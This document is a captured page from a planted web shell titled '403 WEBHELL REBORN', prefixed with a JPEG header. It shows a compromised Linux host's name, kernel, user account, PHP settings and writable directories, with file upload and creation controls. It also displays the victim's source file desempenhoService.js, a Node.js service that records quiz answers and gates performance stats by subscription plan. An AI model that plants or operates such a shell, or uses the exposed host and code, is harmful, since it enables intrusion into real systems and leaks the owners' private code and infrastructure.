ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/apicentralquestoes/src/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/apicentralquestoes/src/services/desempenhoService.js
const Desempenho = require("../models/Desempenho");
const Questao = require("../models/Questao");
const Assinatura = require("../models/Assinatura");
const Resposta = require("../models/Resposta");
const sequelize = require("../database");
const User = require("../models/User");
const MENSAGENS_ERRO = require("../utils/mensagensErro");
const desempenhoValidations = require("../validations/desempenhoValidations");
const { Op, Sequelize } = require("sequelize");

const desempenhoService = {
  registrarDesempenho: async (user_id, questao_id, resposta) => {
    const erroValidacao = desempenhoValidations.validarEntradaDesempenho(
      questao_id,
      resposta
    );
    if (erroValidacao) return erroValidacao;

    try {
      const userExiste = await User.findByPk(user_id);
      if (!userExiste)
        return { erro: 404, mensagem: MENSAGENS_ERRO.USUARIO_NAO_ENCONTRADO };

      const assinatura = await Assinatura.findOne({
        where: { user_id },
        order: [["expires_at", "DESC"]],
      });

      // if (!assinatura || assinatura.plano_id === 1) {
      //   return {
      //     erro: 403,
      //     mensagem: MENSAGENS_ERRO.PLANO_NAO_PERMITE_RESPOSTAS,
      //   };
      // }

      const questao = await Questao.findByPk(questao_id);

      if (!questao) {
        console.error(`Questão com ID ${questao_id} não encontrada.`);
        return { erro: 404, mensagem: MENSAGENS_ERRO.QUESTAO_NAO_ENCONTRADA };
      }

      const correta = questao.resposta === resposta;

      try {
        await Resposta.create({
          user_id: Number(user_id),
          questao_id,
          disciplina: questao.disciplina,
          correta,
        });
      } catch (erro) {
        console.error("Erro ao registrar a resposta:", erro);
        return { erro: 500, mensagem: "Erro ao registrar a resposta." };
      }

      let desempenho = await Desempenho.findOne({
        where: { user_id, questao_id },
      });

      if (!desempenho) {
        desempenho = await Desempenho.create({
          user_id,
          questao_id,
          disciplina: questao.disciplina,
          total_questoes: 1,
          total_acertos: correta ? 1 : 0,
        });
      } else {
        desempenho.total_questoes += 1;
        if (correta) {
          desempenho.total_acertos += 1;
        }
        await desempenho.save();
      }

      return desempenho;
    } catch (erro) {
      return { erro: 500, mensagem: erro.message };
    }
  },

  obterDesempenho: async (user_id, filtro) => {
    try {
      const userExiste = await User.findByPk(user_id);
      if (!userExiste) {
        return { erro: 404, mensagem: "Usuário não encontrado." };
      }

      const assinatura = await Assinatura.findOne({
        where: { user_id },
        order: [["expires_at", "DESC"]],
      });

      if (!assinatura || assinatura.plano_id != 3) {
        return {
          erro: 403,
          mensagem: "Seu plano atual não permite visualizar o desempenho.",
        };
      }

      let whereClause = { user_id };
      const agora = new Date();
      const inicioDia = new Date(agora.setHours(0, 0, 0, 0));
      const fimDia = new Date(agora.setHours(23, 59, 59, 999));

      switch (filtro) {
        case "dia":
          whereClause.created_at = {
            [Op.between]: [inicioDia, fimDia],
          };
          break;
        case "semana":
          whereClause.created_at = {
            [Op.gte]: new Date(inicioDia.getTime() - 7 * 24 * 60 * 60 * 1000),
          };
          break;
        case "mes":
          whereClause.created_at = {
            [Op.gte]: new Date(inicioDia.getTime() - 30 * 24 * 60 * 60 * 1000),
          };
          break;
        case "sempre":
          break;
        default:
          return { erro: 400, mensagem: "Filtro inválido." };
      }

      const respostas = await Resposta.findAll({
        where: whereClause,
        attributes: [
          "disciplina",
          [sequelize.fn("COUNT", sequelize.col("id")), "total_questoes"],
          [
            sequelize.fn(
              "SUM",
              sequelize.literal("CASE WHEN correta THEN 1 ELSE 0 END")
            ),
            "total_acertos",
          ],
        ],
        group: ["disciplina"],
      });

      // Calcular totais gerais
      const totalQuestoesGeral = respostas.reduce(
        (sum, r) => sum + Number(r.dataValues.total_questoes),
        0
      );
      const totalAcertosGeral = respostas.reduce(
        (sum, r) => sum + Number(r.dataValues.total_acertos),
        0
      );

      // Retornar o desempenho
      return {
        totalQuestoesGeral,
        totalAcertosGeral,
        desempenhoPorDisciplina: respostas.map((resposta) => ({
          disciplina: resposta.disciplina,
          totalQuestoes: Number(resposta.dataValues.total_questoes),
          totalAcertos: Number(resposta.dataValues.total_acertos),
        })),
      };
    } catch (erro) {
      console.error("Erro ao obter desempenho:", erro);
      return { erro: 500, mensagem: "Erro ao obter desempenho." };
    }
  },
};

module.exports = desempenhoService;

Anon7 - 2021